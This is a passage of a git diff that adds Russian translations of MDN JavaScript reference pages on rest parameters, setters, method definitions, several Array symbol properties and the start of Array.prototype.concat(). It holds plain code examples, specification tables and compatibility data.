+<pre class="brush: js notranslate"><code>function multiply(multiplier, ...theArgs) {
+  return theArgs.map(function(element) {
+    return multiplier * element;
+  });
+}
+
+var arr = multiply(2, 1, 2, 3);
+console.log(arr); // [2, 4, 6]</code></pre>
+
+<p>Методы <code>Array</code> могут быть использованы на оставшихся параметрах, но не на объекте <code>arguments</code>: </p>
+
+<pre class="brush: js notranslate">function sortRestArgs(...theArgs) {
+  var sortedArgs = theArgs.sort();
+  return sortedArgs;
+}
+
+console.log(sortRestArgs(5, 3, 7, 1)); // 1, 3, 5, 7
+
+function sortArguments() {
+  var sortedArgs = arguments.sort();
+  return sortedArgs; // это никогда не выполнится
+}
+
+
+console.log(sortArguments(5, 3, 7, 1)); // TypeError (arguments.sort is not a function)</pre>
+
+<p>Чтобы использовать методы <code>Array</code> на объекте <code>arguments</code>, нужно преобразовать его в настоящий массив.</p>
+
+<pre class="brush: js notranslate"><code>function sortArguments() {
+  var args = Array.from(arguments);
+  var sortedArgs = args.sort();
+  return sortedArgs;
+}
+console.log(sortArguments(5, 3, 7, 1)); // 1, 3, 5, 7</code></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-definitions', 'Определение функций')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function Definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{Compat("javascript.functions.rest_parameters")}}</div>
+
+<div id="compat-mobile"></div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments" title="arguments">Объект arguments</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array" title="Array">Array</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Functions" title="Functions and function scope">Функции</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Spread_operator" title="spread operator">Оператор распространения</a></li>
+ <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:rest_parameters">Оригинальное предложение на ecmascript.org</a></li>
+ <li><a class="external" href="http://javascriptweblog.wordpress.com/2011/01/18/javascripts-arguments-object-and-beyond/">JavaScript arguments object and beyond</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/functions/set/index.html b/files/ru/web/javascript/reference/functions/set/index.html
new file mode 100644
index 0000000000..8d51101997
--- /dev/null
+++ b/files/ru/web/javascript/reference/functions/set/index.html
@@ -0,0 +1,134 @@
+---
+title: setter
+slug: Web/JavaScript/Reference/Functions/set
+translation_of: Web/JavaScript/Reference/Functions/set
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>Оператор <strong><code>set</code></strong> связывает свойство объекта с функцией, которая будет вызвана при попытке установить это свойство.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">{set <em>prop</em>(<em>val</em>) { . . . }}
+{set [expression](<em>val</em>) { . . . }}</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Имя свойства для привязки к заданной функции.</dd>
+</dl>
+
+<dl>
+ <dt><code>val</code></dt>
+ <dd>Псевдоним переменной, которая хранит значение, неудавшегося определения <code>prop.</code></dd>
+ <dt>expression</dt>
+ <dd>Начиная с ECMAScript 6, вы также можете использовать выражения для вычисляемого имя свойства для привязки к данной функции.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>В JavaScript, сеттер можно использовать для выполнения функции, когда будет попытка изменения указанного свойства. Сеттеры используются чаще всего в сочетании с геттерами для создания одного из видов псевдо-свойства. Невозможно одновременно иметь сеттер для свойства, которое содержит фактическое значение.</p>
+
+<p>Обратите внимание на следующие моменты при работе с синтаксисом <code>set</code>:</p>
+
+<div>
+<ul>
+ <li>Он может иметь идентификатор, который является либо числом, либо строкой;</li>
+ <li>Он должен иметь ровно один параметр (смотрите <a class="external" href="http://whereswalden.com/2010/08/22/incompatible-es5-change-literal-getter-and-setter-functions-must-now-have-exactly-zero-or-one-arguments/" rel="external nofollow">Incompatible <abbr title="ECMAScript 5th edition">ES5</abbr> change: literal getter and setter functions must now have exactly zero or one arguments</a> для более подробной информации);</li>
+ <li>Он не должен объявляться в литерале объекта, с другим набором или вводом данных для того же самого свойства.<br>
+  ( <code>{ set x(v) { }, set x(v) { } }</code> и <code>{ x: ..., set x(v) { } }</code> запрещены)</li>
+</ul>
+</div>
+
+<p>Сеттер может быть удален оператором <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete"><code>delete</code></a>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Определение_сеттера_при_инициализации_новых_объектов">Определение сеттера при инициализации новых объектов</h3>
+
+<p>Это позволит определить псевдо-параметр <code>current</code> объекта <code>o</code>, который задает значение, обновляющее значение <code>log</code>:</p>
+
+<pre class="brush: js">var o = {
+  set current (str) {
+    this.log[this.log.length] = str;
+  },
+  log: []
+}
+</pre>
+
+<p><code>обратите внимание, что current</code> не определен и любые попытки доступа к нему вернут <code>undefined</code>.</p>
+
+<h3 id="Удаление_сеттера_оператором_delete">Удаление сеттера оператором <code>delete</code></h3>
+
+<p>Если вы хотите удалить сеттер, вы можете просто его <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete">удалить</a></code>:</p>
+
+<pre class="brush: js">delete o.current;
+</pre>
+
+<h3 id="Определение_сеттера_для_существующих_объектов_используя_defineProperty">Определение сеттера для существующих объектов используя <code>defineProperty</code></h3>
+
+<p>Чтобы добавить сеттер на существующий объект в любое время, используйте {{jsxref("Object.defineProperty()")}}.</p>
+
+<pre class="brush: js">var o = { a:0 };
+
+Object.defineProperty(o, "b", { set: function (x) { this.a = x / 2; } });
+
+o.b = 10; // Запускает сеттер, который присваивает 10 / 2 (5) свойству 'a'
+console.log(o.a) // 5</pre>
+
+<h3 id="Использование_вычисляемого_имени_свойства">Использование вычисляемого имени свойства </h3>
+
+<pre class="brush: js">var expr = "foo";
+
+var obj = {
+  baz: "bar",
+  set [expr](v) { this.baz = v; }
+};
+
+console.log(obj.baz); // "bar"
+obj.foo = "baz";      // запускает сеттер
+console.log(obj.baz); // "baz"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Добавлены вычесляемые имена свойств</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 40px;"><strong>Совместимость с браузерами</strong></span></font></p>
+
+<p>{{Compat("javascript.functions.set")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">getter</a></li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineGetter", "__defineGetter__")}}</li>
+ <li>{{jsxref("Object.defineSetter", "__defineSetter__")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">Defining Getters and Setters</a> в реководстве по JavaScript</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/functions/определиние_методов/index.html b/files/ru/web/javascript/reference/functions/определиние_методов/index.html
new file mode 100644
index 0000000000..2f50dfe53f
--- /dev/null
+++ b/files/ru/web/javascript/reference/functions/определиние_методов/index.html
@@ -0,0 +1,191 @@
+---
+title: Определение методов
+slug: Web/JavaScript/Reference/Functions/Определиние_методов
+translation_of: Web/JavaScript/Reference/Functions/Method_definitions
+---
+<div>{{JsSidebar("Functions")}}</div>
+
+<p>Начиная с ECMAScript 6, существует короткий синтаксис для определения методов в инициализаторе объекта. По сути, это сокращение для функции, которая назначена имени метода.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var obj = {
+  <var>property</var>([<var>parameters</var>]) {},
+  get <var>property</var>() {},
+  set <var>property</var>(<var>value</var>) {},
+  * <var>generator</var>() {}
+};
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Короткий синтаксис похожий на синтаксис <a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">getter</a>'ов и <a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setter</a>'ов представленых в ECMAScript 5.</p>
+
+<p>Следующий код:</p>
+
+<pre class="brush: js">var obj = {
+  foo: function() {},
+  bar: function() {}
+};</pre>
+
+<p>Вы теперь можете сократить до:</p>
+
+<pre class="brush: js">var obj = {
+  foo() {},
+  bar() {}
+};</pre>
+
+<h3 id="Сокращение_методов-генераторов">Сокращение методов-генераторов</h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">Методы-генераторы</a> также могут быть определены используя короткий синтаксис. Обратите внимание, что звездочка (*) в коротком синтаксисе должна быть перед именем свойства генератора. То есть, <code>* g(){}</code> будет работать, а <code>g *(){}</code> не будет.</p>
+
+<pre class="brush: js;highlight[12]">// Используя свойство с именем (pre-ES6)
+var obj2 = {
+  g: function*() {
+    var index = 0;
+    while(true)
+      yield index++;
+  }
+};
+
+// Тот же объект используя короткий синтаксис
+var obj2 = {
+  * g() {
+    var index = 0;
+    while(true)
+      yield index++;
+  }
+};
+
+var it = obj2.g();
+console.log(it.next().value); // 0
+console.log(it.next().value); // 1</pre>
+
+<h3 id="Определения_методов_(ES6)_не_могут_быть_конструкторами">Определения методов (ES6) не могут быть конструкторами</h3>
+
+<p>Все определения методов кроме методов-генераторов не могут быть конструкторами и будут выбрасывать {{jsxref("TypeError")}} если вы попытаетесь создать их экземпляр.</p>
+
+<pre class="brush: js">var obj = {
+  method() {},
+};
+new obj.method; // TypeError: obj.method is not a constructor
+
+var obj = {
+  * g() {}
+};
+new obj.g; // Генератор
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простой_тестовый_пример">Простой тестовый пример</h3>
+
+<pre class="brush: js;highlight[3]">var obj = {
+  a : "foo",
+  b(){ return this.a; }
+};
+console.log(obj.b()); // "foo"
+</pre>
+
+<h3 id="Вычисляемые_имена_свойств">Вычисляемые имена свойств</h3>
+
+<p>Короткий синтаксис также поддерживает вычисляемые имена свойств.</p>
+
+<pre class="brush: js;highlight[4]">var bar = {
+  foo0 : function (){return 0;},
+  foo1(){return 1;},
+  ["foo" + 2](){return 2;},
+};
+
+console.log(bar.foo0()); // 0
+console.log(bar.foo1()); // 1
+console.log(bar.foo2()); // 2</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Method definition shorthand</td>
+   <td>{{CompatChrome("39")}}</td>
+   <td>{{CompatGeckoDesktop("34")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("26")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Method definition shorthand</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("34")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="SpiderMonkey-specific_notes">SpiderMonkey-specific notes</h2>
+
+<ul>
+ <li>Prior to SpiderMonkey 38 {{geckoRelease(38)}},  "<code>get</code>" and "<code>set</code>" were invalid names for generator methods. This has been fixed in {{bug(1073809)}}.</li>
+ <li>Prior to SpiderMonkey 41 {{geckoRelease(41)}}, curly braces were not required in method definitions. They are required from now on to conform to the ES6 specification and will throw a {{jsxref("SyntaxError")}} in this and later versions ({{bug(1150855)}}).
+  <pre class="brush: js example-bad">var o = {x() 12}; // SyntaxError</pre>
+ </li>
+ <li>The restriction that only generator methods are constructors has been implemented in SpiderMonkey 41 {{geckoRelease(41)}}. See also {{bug(1059908)}} and {{bug(1166950)}}.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">get</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">set</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Lexical grammar</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/@@iterator/index.html b/files/ru/web/javascript/reference/global_objects/array/@@iterator/index.html
new file mode 100644
index 0000000000..9de1e97f40
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/@@iterator/index.html
@@ -0,0 +1,138 @@
+---
+title: 'Array.prototype[@@iterator]()'
+slug: Web/JavaScript/Reference/Global_Objects/Array/@@iterator
+tags:
+  - Array
+  - ECMAScript6
+  - Experimental
+  - Expérimental(2)
+  - Iterator
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@iterator
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Начальное значение свойства <strong><code>@@iterator</code></strong> является тем же самым функциональным объектом, что и начальное значение, возвращаемое методом {{jsxref("Array.prototype.values()", "values()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>[Symbol.iterator]()</code></pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Iteration_using_for...of_loop" name="Example:_Iteration_using_for...of_loop">Пример: итерация посредством цикла <code>for...of</code></h3>
+
+<pre class="brush: js">var arr = ['w', 'y', 'k', 'o', 'p'];
+// ваш браузер должен поддерживать цикл for..of
+// и переменные с областью видимости let в циклах for
+for (let letter of arr) {
+  console.log(letter);
+}
+</pre>
+
+<h3 id="Example:_Alternative_iteration" name="Example:_Alternative_iteration">Пример: альтернативный способ итерации</h3>
+
+<pre class="brush: js">var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr = arr[Symbol.iterator]();
+console.log(eArr.next().value); // w
+console.log(eArr.next().value); // y
+console.log(eArr.next().value); // k
+console.log(eArr.next().value); // o
+console.log(eArr.next().value); // p
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype-@@iterator', 'Array.prototype[@@iterator]()')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("38")}}</td>
+   <td>{{CompatGeckoDesktop("17")}} (.iterator)<br>
+    {{CompatGeckoDesktop("27")}} (["@@iterator"])<br>
+    {{CompatGeckoDesktop("36")}} ([Symbol.iterator])</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("25")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("17")}} (.iterator)<br>
+    {{CompatGeckoMobile("27")}} (["@@iterator"])<br>
+    {{CompatGeckoMobile("36")}} ([Symbol.iterator])</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("25")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Gecko-specific_notes" name="Gecko-specific_notes">Примечания по Gecko</h3>
+
+<ul>
+ <li>С Gecko 17 {{geckoRelease("17")}} по Gecko 26 {{geckoRelease("26")}} вместо {{jsxref("Global_Objects/Symbol", "символа", "", 1)}} <code>@@iterator</code> использовалось свойство <code>iterator</code> ({{bug(907077)}}), а с Gecko 27 по Gecko 35 — строка-заменитель <code>"@@iterator"</code> ({{bug("918828")}}).</li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/@@species/index.html b/files/ru/web/javascript/reference/global_objects/array/@@species/index.html
new file mode 100644
index 0000000000..696d2b6312
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/@@species/index.html
@@ -0,0 +1,78 @@
+---
+title: 'get Array[@@species]'
+slug: Web/JavaScript/Reference/Global_Objects/Array/@@species
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@species
+---
+<div>{{JSRef}}</div>
+
+<p>Метод<strong> </strong><code><strong>Array[@@species]</strong></code>возвращает конструктор <code>Array</code> .</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Array[Symbol.species]
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Конструктор {{jsxref("Array")}}.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <code>species</code>  возвращает стандартный конструктор обьектов <code>Array</code> . Дочерние элементы могут переопределить метод для смены назначения конструктора.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Метод <code>species</code> возвращает стандартное значение функции конструктора, то есть<br>
+  <code>Array</code> конструктор для <code>Array</code> обьектов:</p>
+
+<pre class="brush: js">Array[Symbol.species]; // функция Array()</pre>
+
+<p>В полученном обьекте (на примере обычного массива <code>MyArray</code>),  <code>MyArray</code> является конструктором <code>MyArray</code>. В случае, если вы захотите вернуть родительские обьекты <code>Array</code> в полученных классовых методах, вы можете переопределить метод:</p>
+
+<pre class="brush: js">class MyArray extends Array {
+  //  <span id="result_box" lang="ru"><span>Переписывает тип MyArray в родительский конструктор Array</span></span>
+  static get [Symbol.species]() { return Array; }
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-array-@@species', 'get Array [ @@species ]')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное<br>
+    определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-array-@@species', 'get Array [ @@species ]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.@@species")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также:</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Symbol.species")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/@@unscopables/index.html b/files/ru/web/javascript/reference/global_objects/array/@@unscopables/index.html
new file mode 100644
index 0000000000..7e4e7c9daa
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/@@unscopables/index.html
@@ -0,0 +1,76 @@
+---
+title: 'Array.prototype[@@unscopables]'
+slug: Web/JavaScript/Reference/Global_Objects/Array/@@unscopables
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Property
+  - Prototype
+  - Массив
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@unscopables
+---
+<div>{{JSRef}}</div>
+
+<p>Свойства символа <code><strong>@@unscopable</strong></code> содержат свойства имён, которые не были включены в ECMAScript до версии ES2015. Эти свойства исключены из привязок оператора <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/with">with</a></code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>arr</var>[Symbol.unscopables]</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Стандартные свойства массива, которые исключены из привязок  <code>with</code>: copyWithin, entries, fill, find, findIndex, includes, keys, и values.</p>
+
+<p>См. {{jsxref("Symbol.unscopables")}} о том, как установить <code>unscopables</code> для Ваших собственных объектов.</p>
+
+<p>{{js_property_attributes(0,0,1)}}</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Приведённый код отлично работает в ES5 и ниже. Однако в ECMAScript 2015 и более поздних версиях был введён метод  {{jsxref("Array.prototype.keys()")}}. Это означает, что внутри окружения <code>with</code>, "ключи" будут методом, а не пременной. Вот где теперь встроенные свойства символа {{jsxref("Array.prototype[@@unscopables]")}} вступают в игру и препятствуют тому, чтобы некоторые из методов Array были включены в оператор <code>with</code>.</p>
+
+<pre class="brush: js">var keys = [];
+
+with (Array.prototype) {
+  keys.push('что-то');
+}
+
+Object.keys(Array.prototype[Symbol.unscopables]);
+// ["copyWithin", "entries", "fill", "find", "findIndex",
+//  "includes", "keys", "values"]</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype-@@unscopables', 'Array.prototype[@@unscopables]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype-@@unscopables', 'Array.prototype[@@unscopables]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если Вы хотите дополнить эти данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам пулл-реквест.</div>
+
+<p>{{Compat("javascript.builtins.Array.@@unscopables")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.unscopables")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/concat/index.html b/files/ru/web/javascript/reference/global_objects/array/concat/index.html
new file mode 100644
index 0000000000..b3c2fa6eea
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/concat/index.html
@@ -0,0 +1,135 @@
+---
+title: Array.prototype.concat()
+slug: Web/JavaScript/Reference/Global_Objects/Array/concat
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/concat
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>concat()</strong></code> возвращает новый массив, состоящий из массива, на котором он был вызван, соединённого с другими массивами и/или значениями, переданными в качестве аргументов.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-concat.html")}}</div>
+
+<p class="hidden">Источник этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, скопируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на перенос.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>var <var>new_array</var> = <var>old_array</var>.concat(<var>value1</var>[, <var>value2</var>[, ...[, <var>valueN</var>]]])</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>value<em>N</em></code></dt>
+ <dd>Массивы и/или значения, соединяемые в новый массив. Смотрите описание ниже.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый экземпляр {{jsxref("Array")}}.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <code>concat</code> создаёт новый массив, состоящий из элементов в объекте, на котором он был вызван, за которыми по порядку следуют, для каждого аргумента, все его элементы (если аргумент является массивом), либо сам аргумент (если он массивом не является).</p>
+
+<p>Метод <code>concat</code> не изменяет данный массив или любой из массивов, переданных в аргументах, а вместо этого возвращает поверхностную копию, содержащую копии тех элементов, что были объединены с исходными массивами. Элементы оригинальных массивов копируются в новый массив по следующим правилам:</p>
+
+<ul>
+ <li>Ссылки на объекты (но не фактические объекты): метод <code>concat</code> копирует ссылки на объекты в новый массив. И оригинал, и новый массив ссылаются на один и тот же объект. То есть, если объект по ссылке будет изменён, изменения будут видны и в новом, и в исходном массивах.</li>
+ <li>Строки, числа и булевы значения (но не объекты {{jsxref("Global_Objects/String", "String")}}, {{jsxref("Global_Objects/Number", "Number")}} или {{jsxref("Global_Objects/Boolean", "Boolean")}}): метод <code>concat</code> копирует значения строк и чисел в новый массив.</li>
+</ul>
+
+<div class="note">
+<p><strong>Примечание:</strong> Соединение массивов и/или значений в новый массив оставит соединяемые массивы/значения неизменными. Кроме того, любая операция над новым массивом (если только элемент не является ссылкой) не будет затрагивать исходные массивы и наоборот.</p>
+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Соединение_двух_массивов">Соединение двух массивов</h3>
+
+<p>Следующий код соединяет два массива:</p>
+
+<pre class="brush: js">var alpha = ['a', 'b', 'c'],
+    numeric = [1, 2, 3];
+
+var alphaNumeric = alpha.concat(numeric);
+
+console.log(alphaNumeric); // Результат: ['a', 'b', 'c', 1, 2, 3]
+</pre>
+
+<h3 id="Соединение_трёх_массивов">Соединение трёх массивов</h3>
+
+<p>Следующий код соединяет три массива:</p>
+
+<pre class="brush: js">var num1 = [1, 2, 3],
+    num2 = [4, 5, 6],
+    num3 = [7, 8, 9];
+
+var nums = num1.concat(num2, num3);
+
+console.log(nums); // Результат: [1, 2, 3, 4, 5, 6, 7, 8, 9]
+</pre>
+
+<h3 id="Соединение_значений_в_массив">Соединение значений в массив</h3>
+
+<p>Следующий код соединяет три значения в массив:</p>
+
+<pre class="brush: js">var alpha = ['a', 'b', 'c'];
+
+var alphaNumeric = alpha.concat(1, [2, 3]);
+
+console.log(alphaNumeric); // Результат: ['a', 'b', 'c', 1, 2, 3]
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
